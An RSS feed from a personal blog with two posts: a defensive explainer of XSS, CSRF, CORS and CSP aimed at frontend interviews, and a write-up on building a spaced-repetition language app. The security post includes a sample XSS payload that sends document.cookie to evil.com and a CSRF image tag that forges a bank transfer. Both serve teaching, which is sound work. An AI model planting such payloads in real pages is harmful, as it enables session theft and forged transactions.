<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    
    <title>Working Notes</title>
    <description>Jam is a minimal personal blog and portfolio theme powered by Hugo.</description>
    <link>/</link>
    
    <language>en</language>
    <copyright>Copyright 2026, Ronalds Vilcins</copyright>
    <lastBuildDate>Sun, 29 Mar 2026 13:52:46 -0400</lastBuildDate>
    <generator>/</generator>
    <docs>http://cyber.harvard.edu/rss/rss.html</docs>
    <atom:link href="https://ronaldsvilcins.com/atom.xml" rel="self" type="application/atom+xml"/>
    
    <item>
      <title>Web Security: CSRF, CORS, CSP, and XSS</title>
      <link>/writing/web-security/</link>
      <description>&lt;p&gt;These four acronyms come up constantly in frontend interviews, and they&amp;rsquo;re often explained in isolation — which makes them harder to remember and easier to confuse. They&amp;rsquo;re not the same kind of thing. Understanding &lt;em&gt;what category&lt;/em&gt; each one belongs to is the first step.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;XSS&lt;/strong&gt; — an attack vector. Someone injects malicious code into your page.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CSRF&lt;/strong&gt; — an attack vector. Someone tricks a user into making an unintended request.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CORS&lt;/strong&gt; — a browser mechanism. Controls which origins can make cross-origin requests.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CSP&lt;/strong&gt; — a browser mechanism. Controls which resources a page is allowed to load.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;CORS and CSP are defenses. XSS and CSRF are the things you&amp;rsquo;re defending against. That distinction matters.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&#34;xss--cross-site-scripting&#34;&gt;XSS — Cross-Site Scripting&lt;/h2&gt;
&lt;h3 id=&#34;the-mental-model&#34;&gt;The mental model&lt;/h3&gt;
&lt;p&gt;An attacker gets their JavaScript to run on your page. Once that happens, they have the same access your code has — cookies, localStorage, the DOM, the ability to make requests as the user.&lt;/p&gt;
&lt;h3 id=&#34;how-it-happens&#34;&gt;How it happens&lt;/h3&gt;
&lt;p&gt;You take user input and render it as HTML without sanitizing it first:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-js&#34; data-lang=&#34;js&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;// Dangerous
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;document.&lt;span style=&#34;color:#a6e22e&#34;&gt;innerHTML&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;userInput&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;// Also dangerous
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;element&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;innerHTML&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;`&amp;lt;p&amp;gt;Welcome, &lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;${&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;username&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;lt;/p&amp;gt;`&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If &lt;code&gt;username&lt;/code&gt; is &lt;code&gt;&amp;lt;script&amp;gt;fetch(&#39;https://evil.com?c=&#39;+document.cookie)&amp;lt;/script&amp;gt;&lt;/code&gt;, you&amp;rsquo;ve just exfiltrated the user&amp;rsquo;s cookies.&lt;/p&gt;
&lt;p&gt;There are two main types:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Stored XSS&lt;/strong&gt; — the malicious input is saved to the database and served to other users. A comment field that renders HTML is the classic example.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Reflected XSS&lt;/strong&gt; — the payload is in the URL and reflected back in the response. Less common now but still relevant.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;what-frontend-devs-actually-do-about-it&#34;&gt;What frontend devs actually do about it&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Never use &lt;code&gt;innerHTML&lt;/code&gt; with user-supplied data. Use &lt;code&gt;textContent&lt;/code&gt; instead.&lt;/li&gt;
&lt;li&gt;If you must render HTML, use a sanitization library like DOMPurify.&lt;/li&gt;
&lt;li&gt;React, Vue, and most modern frameworks escape output by default — but &lt;code&gt;dangerouslySetInnerHTML&lt;/code&gt; in React bypasses this entirely. Treat it as a red flag.&lt;/li&gt;
&lt;li&gt;HttpOnly cookies can&amp;rsquo;t be read by JavaScript, which limits what a successful XSS attack can steal.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;the-interview-gotcha&#34;&gt;The interview gotcha&lt;/h3&gt;
&lt;p&gt;Interviewers sometimes conflate XSS with CSRF. They&amp;rsquo;re different attacks with different mitigations. XSS is about injecting code; CSRF is about forging requests. An XSS attack can &lt;em&gt;bypass&lt;/em&gt; CSRF protections, which is why XSS prevention is so important.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&#34;csrf--cross-site-request-forgery&#34;&gt;CSRF — Cross-Site Request Forgery&lt;/h2&gt;
&lt;h3 id=&#34;the-mental-model-1&#34;&gt;The mental model&lt;/h3&gt;
&lt;p&gt;The user is logged into your bank. They visit a malicious site. That site makes a request to your bank&amp;rsquo;s API — and the browser automatically sends the user&amp;rsquo;s cookies with it. The bank can&amp;rsquo;t tell the difference between a legitimate request and a forged one.&lt;/p&gt;
&lt;p&gt;CSRF exploits the fact that browsers attach cookies to requests regardless of where the request originated.&lt;/p&gt;
&lt;h3 id=&#34;how-it-happens-1&#34;&gt;How it happens&lt;/h3&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-html&#34; data-lang=&#34;html&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&amp;lt;!-- On evil.com --&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;&lt;span style=&#34;color:#f92672&#34;&gt;img&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;src&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;https://bank.com/transfer?to=attacker&amp;amp;amount=1000&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The browser loads that &amp;ldquo;image,&amp;rdquo; sends the authenticated request, and the transfer goes through.&lt;/p&gt;
&lt;h3 id=&#34;what-frontend-devs-actually-do-about-it-1&#34;&gt;What frontend devs actually do about it&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;SameSite cookies&lt;/strong&gt; — the modern default. Setting &lt;code&gt;SameSite=Strict&lt;/code&gt; or &lt;code&gt;SameSite=Lax&lt;/code&gt; tells the browser not to send cookies on cross-origin requests. This largely solves CSRF without any application-level token logic.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CSRF tokens&lt;/strong&gt; — the older approach. The server issues a unique token per session, the client includes it in state-changing requests, and the server validates it. An attacker on another origin can&amp;rsquo;t read this token due to the same-origin policy.&lt;/li&gt;
&lt;li&gt;For SPAs making API calls with &lt;code&gt;Authorization&lt;/code&gt; headers (not cookies), CSRF is mostly a non-issue — custom headers can&amp;rsquo;t be sent cross-origin without CORS permission.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;the-interview-gotcha-1&#34;&gt;The interview gotcha&lt;/h3&gt;
&lt;p&gt;CSRF is often misunderstood as &amp;ldquo;cross-site anything.&amp;rdquo; It&amp;rsquo;s specifically about &lt;em&gt;forged requests that carry the victim&amp;rsquo;s credentials&lt;/em&gt;. If your API uses tokens in headers rather than cookies, CSRF doesn&amp;rsquo;t apply in the traditional sense. The interview question &amp;ldquo;how do you prevent CSRF?&amp;rdquo; has a different answer depending on your auth mechanism.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&#34;cors--cross-origin-resource-sharing&#34;&gt;CORS — Cross-Origin Resource Sharing&lt;/h2&gt;
&lt;h3 id=&#34;the-mental-model-2&#34;&gt;The mental model&lt;/h3&gt;
&lt;p&gt;The same-origin policy is a browser rule: a page at &lt;code&gt;app.com&lt;/code&gt; can&amp;rsquo;t make requests to &lt;code&gt;api.otherdomain.com&lt;/code&gt; by default. CORS is the mechanism that lets servers &lt;em&gt;opt in&lt;/em&gt; to allowing cross-origin requests.&lt;/p&gt;
&lt;p&gt;CORS is not a security feature — it&amp;rsquo;s a relaxation of security. The same-origin policy is the security feature.&lt;/p&gt;
&lt;h3 id=&#34;how-it-works&#34;&gt;How it works&lt;/h3&gt;
&lt;p&gt;When your frontend at &lt;code&gt;app.com&lt;/code&gt; makes a request to &lt;code&gt;api.com&lt;/code&gt;, the browser checks the response headers:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;Access-Control-Allow-Origin: https://app.com
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;If the origin matches, the browser allows the response through. If not, it blocks it — even if the server processed the request.&lt;/p&gt;
&lt;p&gt;For requests that modify state (POST, PUT, DELETE) or send custom headers, the browser first sends a &lt;strong&gt;preflight request&lt;/strong&gt; (OPTIONS) to ask permission:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;Access-Control-Allow-Origin: https://app.com
Access-Control-Allow-Methods: POST, PUT
Access-Control-Allow-Headers: Content-Type, Authorization
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id=&#34;what-frontend-devs-actually-do-about-it-2&#34;&gt;What frontend devs actually do about it&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;CORS errors are a browser enforcement, not a server error. The request often &lt;em&gt;did&lt;/em&gt; reach the server.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Access-Control-Allow-Origin: *&lt;/code&gt; allows any origin — fine for public APIs, not for anything authenticated.&lt;/li&gt;
&lt;li&gt;You can&amp;rsquo;t fix CORS from the frontend. The server has to set the right headers.&lt;/li&gt;
&lt;li&gt;In development, proxying requests through your dev server (Vite&amp;rsquo;s &lt;code&gt;proxy&lt;/code&gt; config, for example) sidesteps CORS because the request appears same-origin.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;the-interview-gotcha-2&#34;&gt;The interview gotcha&lt;/h3&gt;
&lt;p&gt;&amp;ldquo;CORS is a security feature&amp;rdquo; is a common misconception. It&amp;rsquo;s a controlled relaxation. The actual security comes from the same-origin policy that CORS loosens. Also: CORS doesn&amp;rsquo;t prevent CSRF. A CORS-protected endpoint still accepts cookies from the browser on same-origin requests.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&#34;csp--content-security-policy&#34;&gt;CSP — Content Security Policy&lt;/h2&gt;
&lt;h3 id=&#34;the-mental-model-3&#34;&gt;The mental model&lt;/h3&gt;
&lt;p&gt;CSP is a browser mechanism where you tell the browser exactly what it&amp;rsquo;s allowed to load and execute. It&amp;rsquo;s a second line of defense against XSS — even if an attacker injects a script tag, CSP can prevent it from executing.&lt;/p&gt;
&lt;h3 id=&#34;how-it-works-1&#34;&gt;How it works&lt;/h3&gt;
&lt;p&gt;You send a &lt;code&gt;Content-Security-Policy&lt;/code&gt; header (or use a &lt;code&gt;&amp;lt;meta&amp;gt;&lt;/code&gt; tag) with directives:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;Content-Security-Policy: default-src &amp;#39;self&amp;#39;; script-src &amp;#39;self&amp;#39; https://cdn.example.com; img-src *;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This says: scripts can only come from this origin or the specified CDN. Images can come from anywhere. Everything else defaults to same-origin only.&lt;/p&gt;
&lt;p&gt;A strict policy would block inline scripts entirely:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;Content-Security-Policy: script-src &amp;#39;self&amp;#39;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This means &lt;code&gt;&amp;lt;script&amp;gt;alert(&#39;xss&#39;)&amp;lt;/script&amp;gt;&lt;/code&gt; injected by an attacker simply won&amp;rsquo;t run.&lt;/p&gt;
&lt;h3 id=&#34;what-frontend-devs-actually-do-about-it-3&#34;&gt;What frontend devs actually do about it&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;CSP is often misconfigured. &lt;code&gt;unsafe-inline&lt;/code&gt; and &lt;code&gt;unsafe-eval&lt;/code&gt; are common escapes that negate most of the protection.&lt;/li&gt;
&lt;li&gt;Nonces and hashes are the right way to allow specific inline scripts without using &lt;code&gt;unsafe-inline&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Start with a report-only policy (&lt;code&gt;Content-Security-Policy-Report-Only&lt;/code&gt;) to find violations before enforcing them.&lt;/li&gt;
&lt;li&gt;CSP violations can be reported to an endpoint with &lt;code&gt;report-uri&lt;/code&gt; or &lt;code&gt;report-to&lt;/code&gt; — useful for catching attacks in production.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;the-interview-gotcha-3&#34;&gt;The interview gotcha&lt;/h3&gt;
&lt;p&gt;CSP doesn&amp;rsquo;t prevent XSS — it limits what a successful XSS attack can do. The attacker might still inject a script tag, but CSP can stop it from loading external resources or executing inline. The two layers together (input sanitization + CSP) are more effective than either alone.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&#34;how-they-relate&#34;&gt;How they relate&lt;/h2&gt;
&lt;table&gt;
  &lt;thead&gt;
      &lt;tr&gt;
          &lt;th&gt;&lt;/th&gt;
          &lt;th&gt;Prevents&lt;/th&gt;
          &lt;th&gt;Mechanism&lt;/th&gt;
      &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;strong&gt;XSS&lt;/strong&gt;&lt;/td&gt;
          &lt;td&gt;Code injection&lt;/td&gt;
          &lt;td&gt;Input sanitization, framework escaping, HttpOnly cookies&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;strong&gt;CSRF&lt;/strong&gt;&lt;/td&gt;
          &lt;td&gt;Forged requests&lt;/td&gt;
          &lt;td&gt;SameSite cookies, CSRF tokens&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;strong&gt;CORS&lt;/strong&gt;&lt;/td&gt;
          &lt;td&gt;Unauthorized cross-origin reads&lt;/td&gt;
          &lt;td&gt;Server-set response headers&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;strong&gt;CSP&lt;/strong&gt;&lt;/td&gt;
          &lt;td&gt;Unauthorized resource loading&lt;/td&gt;
          &lt;td&gt;Browser policy enforcement&lt;/td&gt;
      &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The interaction that matters most: &lt;strong&gt;XSS can defeat CSRF protection&lt;/strong&gt;. If an attacker can run JavaScript on your page, they can read your CSRF token and include it in a forged request. This is why XSS prevention is the foundation — the other defenses assume your page hasn&amp;rsquo;t been compromised.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&#34;what-actually-comes-up-in-interviews&#34;&gt;What actually comes up in interviews&lt;/h2&gt;
&lt;p&gt;The questions are usually surface-level (&amp;ldquo;what is CSRF?&amp;rdquo;), but the follow-ups reveal depth:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;&amp;ldquo;SameSite=Lax vs Strict — when would you use each?&amp;rdquo;&lt;/em&gt; Lax allows cookies on top-level navigations (clicking a link), Strict doesn&amp;rsquo;t. Strict breaks OAuth flows and &amp;ldquo;open in new tab&amp;rdquo; patterns.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;&amp;ldquo;Can CORS prevent CSRF?&amp;rdquo;&lt;/em&gt; No. CORS controls what the browser will &lt;em&gt;read&lt;/em&gt; from cross-origin responses. Cookies are still sent on requests unless SameSite prevents it.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;&amp;ldquo;When would you use a nonce in CSP?&amp;rdquo;&lt;/em&gt; When you need to allow a specific inline script without opening up &lt;code&gt;unsafe-inline&lt;/code&gt; for everything.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;&amp;ldquo;What&amp;rsquo;s the difference between stored and reflected XSS?&amp;rdquo;&lt;/em&gt; Stored persists in the database and affects all users who view that content. Reflected is in the request and affects only the user who clicks the malicious link.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Understanding the relationships between these mechanisms — not just what each one does in isolation — is what separates a considered answer from a memorized one.&lt;/p&gt;
</description>
      <author>ronalds.vilcins@gmail.com (Ronalds Vilcins)</author>
      <guid>/writing/web-security/</guid>
      <pubDate>Sun, 29 Mar 2026 13:52:46 -0400</pubDate>
    </item>
    
    <item>
      <title>Building a Language-Learning App from Scratch</title>
      <link>/writing/srs-app/</link>
      <description>&lt;h2 id=&#34;demo-video&#34;&gt;Demo Video&lt;/h2&gt;
&lt;iframe width=&#34;640&#34; height=&#34;338&#34; src=&#34;https://www.youtube-nocookie.com/embed/3WhGkUKb-94?si=di1SMBuWAeBZ5CgC&#34; title=&#34;YouTube video player&#34; frameborder=&#34;0&#34; allow=&#34;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share&#34; referrerpolicy=&#34;strict-origin-when-cross-origin&#34; allowfullscreen&gt;&lt;/iframe&gt;
&lt;h2 id=&#34;notes&#34;&gt;Notes&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;When I use SRS, I mean &amp;ldquo;spaced repetition system&amp;rdquo;&lt;/li&gt;
&lt;li&gt;URL: &lt;a href=&#34;https://srs-app-tony.fly.dev/&#34;&gt;https://srs-app-tony.fly.dev/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;the-problem&#34;&gt;The Problem&lt;/h2&gt;
&lt;p&gt;I&amp;rsquo;ve been learning foreign languages for a while. And what you notice after having internalized the basics (grammar, conjugations), is that what&amp;rsquo;s left is a seemingly insurmountable steep curve of vocabulary that comprises the bulk of your actual time spent learning the language. And in the past, it was much more difficult to climb up this wall. It often took manual reading, clipping sentences, saving words, and creating flashcards.&lt;/p&gt;
&lt;p&gt;The standard method to go about doing it was tedious. In the beginning, one had to look up definitions, but even then, finding the distinct examples was hard (reverso.net simply showed uses, but this could be duplicates, or incomplete), and the definitions in the dictionary wouldn&amp;rsquo;t always give you the right &amp;ldquo;senses.&amp;rdquo; For example, let&amp;rsquo;s take English as an example, with the verb &amp;ldquo;lead.&amp;rdquo;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;He leads the group (standard use case)&lt;/li&gt;
&lt;li&gt;This road leads to Rome (leads in the sense of a path leading to a place)&lt;/li&gt;
&lt;li&gt;This led to me looking through the library on a Saturday (as in &amp;ldquo;this resulted in,&amp;rdquo; a more figurative use case)&lt;/li&gt;
&lt;li&gt;They were leading 5 to 0 (in the sports context)&lt;/li&gt;
&lt;li&gt;She&amp;rsquo;s led a sheltered lifestyle (suffixed with the particular noun &amp;ldquo;life&amp;rdquo; or &amp;ldquo;lifestyle&amp;rdquo; afterwards)&lt;/li&gt;
&lt;li&gt;He&amp;rsquo;s been led astray (in a particular phrase, in combination with &amp;ldquo;astray&amp;rdquo;)&lt;/li&gt;
&lt;li&gt;He&amp;rsquo;s been led on! (phrasal verb, led on)&lt;/li&gt;
&lt;li&gt;The events that led up to (phrasal verb)&lt;/li&gt;
&lt;li&gt;The article leads with an anecdote from the author (in the sense of an article beginning with something)&lt;/li&gt;
&lt;li&gt;It&amp;rsquo;s led me to believe that… (in the sense of to make someone do something)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This would&amp;rsquo;ve have been very difficult for a non-native speaker to gather. But later came AI, which solved many of these problems. Now, it&amp;rsquo;s much easier to generate such a list. So I thought - what if we had an SRS that was integrated with text reading itself, so one can see which words one has already learned, and easily add new ones?&lt;/p&gt;
&lt;p&gt;The gap I kept running into was this: Anki gives you great spaced-repetition scheduling, but it disconnects words from context. Duolingo gamifies learning but doesn&amp;rsquo;t let you study words you&amp;rsquo;ve actually encountered. I wanted something in between — a tool that lets me build a deck from real texts I read, and then quizzes me on those exact words in context (and could generate other contexts for that word, for comparison purposes).&lt;/p&gt;
&lt;p&gt;This is a write-up of what I built, the technical choices that mattered, and what I&amp;rsquo;d do differently.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&#34;what-it-does&#34;&gt;What it does&lt;/h2&gt;
&lt;p&gt;The core loop is simple:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;You upload a text (an article, a chapter, anything).&lt;/li&gt;
&lt;li&gt;The app highlights the words in the text that are already in your deck.&lt;/li&gt;
&lt;li&gt;You can select any word or phrase and add it to your deck — with AI-generated example sentences and usage notes.&lt;/li&gt;
&lt;li&gt;Every day, the app shows you words due for review. You see the word and its example sentences, try to recall it, then self-rate (Again / Hard / Good / Easy).&lt;/li&gt;
&lt;li&gt;The SRS engine schedules the word further into the future based on how well you recalled it.&lt;/li&gt;
&lt;li&gt;You can choose manual review if wanted, because the SRS methodology is not always.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Supporting features: lemmatized search across your text corpus, multi-language support (French, Spanish, English, German), multi-deck management, and a subscription paywall.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&#34;stack&#34;&gt;Stack&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Backend
&lt;ul&gt;
&lt;li&gt;Choice: FastAPI + Uvicorn&lt;/li&gt;
&lt;li&gt;FastAPI gave me automatic request validation via Pydantic and async support out of the box — Flask requires you to wire both yourself, and Django&amp;rsquo;s batteries-included approach is overkill for an API-only backend with no need for its ORM or admin interface. I also like the auto-generated docs.&lt;/li&gt;
&lt;li&gt;The primary alternatives are Django and Flask.&lt;/li&gt;
&lt;li&gt;And why Python? Python has the most developed AI calling libraries, plus spaCy which doesn&amp;rsquo;t exist in the NodeJS ecosystem.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Auth
&lt;ul&gt;
&lt;li&gt;Choice: Clerk (JWT)&lt;/li&gt;
&lt;li&gt;I didn&amp;rsquo;t want to build login, sessions, OAuth flows, or magic links. Clerk handles all of that; I just validate JWTs on the backend and extract the user ID from the claims. Worth the cost for a solo project.&lt;/li&gt;
&lt;li&gt;What is JWT alternatives?&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Billing
&lt;ul&gt;
&lt;li&gt;Choice: Stripe&lt;/li&gt;
&lt;li&gt;The standard choice for subscription payments. The Checkout and Customer Portal flows mean I don&amp;rsquo;t build any payment UI myself.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;NLP
&lt;ul&gt;
&lt;li&gt;Choice: spaCy&lt;/li&gt;
&lt;li&gt;spaCy is a &amp;ldquo;natural language processing&amp;rdquo; library in Python. It can convert between word forms, such as &amp;ldquo;have,&amp;rdquo; &amp;ldquo;haves,&amp;rdquo; &amp;ldquo;having,&amp;rdquo; etc.&lt;/li&gt;
&lt;li&gt;The app needs lemmatization — matching &amp;ldquo;découvert&amp;rdquo; to the deck entry for &amp;ldquo;découvrir&amp;rdquo; — and spaCy does this well across multiple languages with pre-trained models. The tradeoff is operational: the models aren&amp;rsquo;t bundled with the package and have to be downloaded explicitly in the Dockerfile.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;LLM
&lt;ul&gt;
&lt;li&gt;Choice: OpenAI GPT-4o-mini (pluggable)&lt;/li&gt;
&lt;li&gt;Good enough for content generation, cheap, and fast. I wrapped the LLM call in a pluggable client interface so the app can swap in Anthropic or a local Ollama instance without changing calling code. During development I used Ollama to avoid burning API credits.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Frontend
&lt;ul&gt;
&lt;li&gt;Choice: React 19 + Vite + TanStack Query&lt;/li&gt;
&lt;li&gt;Vite for fast dev builds, TanStack Query for server state — caching canonicalization results with &lt;code&gt;staleTime: Infinity&lt;/code&gt; so clicking the same word twice doesn&amp;rsquo;t hit the API again.&lt;/li&gt;
&lt;li&gt;React-Query has many uses. In this case, canonicalization can be cached, which fits React-Query&amp;rsquo;s use perfectly.&lt;/li&gt;
&lt;li&gt;React Router allows for protected routes, which is useful for subscription verification purposes&lt;/li&gt;
&lt;li&gt;Lazy-loading
&lt;ul&gt;
&lt;li&gt;For performance reasons, load pages only when you click on the route. Easy to do with React.lazy&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;SSR - no SSR here &lt;!-- * css modules, accessibility security, caching, bfcache, source maps --&gt;
&lt;ul&gt;
&lt;li&gt;SSR&amp;rsquo;s main benefits are SEO, first contentful paint, open graph; but we don&amp;rsquo;t use these&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;HSTS
&lt;ul&gt;
&lt;li&gt;HSTS tells browsers to never attempt an HTTP connection&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;REST
&lt;ul&gt;
&lt;li&gt;In this particular case, RESTful paradigms were useful in that one was actually creating, reading, updating, and deleting resources. Many times, APIs do not hew to the RESTful pattern so cleanly, so the API ends up being &amp;ldquo;JSON-RPC&amp;rdquo; instead (endpoints serving JSON, but not following RESTful convention).&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Error handling, network resilience
&lt;ul&gt;
&lt;li&gt;React-Query attempts retries automatically, in case of network issues or server overload&lt;/li&gt;
&lt;li&gt;Modals show errors when they occur from the network or are returned from the server&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Future: MUI and state management
&lt;ul&gt;
&lt;li&gt;MUI has the most advanced components&lt;/li&gt;
&lt;li&gt;React-Query and the server handle much of the state, but Zustand could come in handy in case
cross-page data needs to be shared/cached&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Deployment
&lt;ul&gt;
&lt;li&gt;Choice: Fly.io (single container)&lt;/li&gt;
&lt;li&gt;Single container, persistent volume for SQLite and the text corpus, auto-stop/start machines to keep costs near zero when idle.&lt;/li&gt;
&lt;li&gt;Eventually I would want to use AWS (see &amp;ldquo;Future&amp;rdquo;)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Databases
&lt;ul&gt;
&lt;li&gt;Choice: plain SQLite&lt;/li&gt;
&lt;li&gt;It works and is good enough at the moment. Relational databases have won over document DBs (like Mongo) in the last decade due to document databases&amp;rsquo; inability to do joins (at a certain point, everyone runs into it), so that&amp;rsquo;s why relational over document DBs for the main DB.&lt;/li&gt;
&lt;li&gt;In the future, one would have to switch to Postgres eventually. Postgres over MySQL because Postgres got over its speed issues, and MySQL stopped really improving.&lt;/li&gt;
&lt;li&gt;Graph &amp;amp; vector DBs were considered. RAG was considered. Graph DBs were considered for getting relations between words, but I think simply having a good side text is sufficient here. RAG over the text corpus would enable semantic retrieval — finding passages thematically related to a word, not just passages containing it. spaCy&amp;rsquo;s lemma matching was sufficient for my use case, but RAG is a natural future extension for richer quiz context.&lt;/li&gt;
&lt;li&gt;A natural extension would be embedding the text corpus with a multilingual model and storing vectors in pgvector — at review time, the system could retrieve semantically related sentences from the user&amp;rsquo;s own uploaded texts, surfacing varied natural contexts for a word rather than just the sentences where they first encountered it.&lt;/li&gt;
&lt;li&gt;The SRS scheduling logic — calculating due words, updating intervals, querying by due date — is set-based operations that map naturally to SQL but awkwardly to ORM abstractions. For that slice of the app, raw SQL is the clearer choice. The user and subscription management, by contrast, would fit an ORM fine.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Future
&lt;ul&gt;
&lt;li&gt;The current stack is deliberately simple — it&amp;rsquo;s a single container on Fly.io with SQLite on a persistent volume. That works fine for now, but it has a clear ceiling. Multi-instance deployment would require moving file storage to S3 and the database to Postgres on RDS. NLP and LLM calls that currently block the request cycle would move to async workers via SQS. None of that is premature to think about, but it would be premature to build.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
